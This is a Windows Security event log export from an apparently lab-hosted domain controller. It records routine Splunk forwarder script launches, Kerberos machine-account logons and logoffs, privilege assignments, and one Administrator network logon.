Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250312
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12ac
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x12d0
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\admon.cmd" --scheme"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250311
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1274
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x12d0
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\WinRegMon.cmd" --scheme"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250310
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1284
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x12d0
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\WinPrintMon.cmd" --scheme"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250309
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1228
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x12d0
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\WinNetMon.cmd" --scheme"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250308
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1208
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x12d0
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\WinHostMon.cmd" --scheme"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250307
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x520
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x12d0
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\WinEventLog.cmd" --scheme"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250306
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1244
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x12d0
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\MonitorNoHandle.cmd" --scheme"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250305
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x105C05

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250304
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x105C05
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64430

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250303
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x105C05

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250302
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x105BA2

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250301
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x105BA2
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64429

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250300
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x105BA2

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250299
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x105B37

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250298
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x105B37
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64428

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250297
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x105B37

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250296
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x105ACE

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250295
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x105ACE
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64427

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250294
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x105ACE

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250293
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1040
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x11f8
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe"  _internal check-xml-files --answer-yes --no-prompt 

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250292
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11f8
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x12d0
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c "C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _internal check-xml-files --answer-yes --no-prompt 2>&1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250333
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x107442

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250332
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x107442
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{A7C21F96-132A-7B3F-2097-0F34FA89FADD}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:21 PM
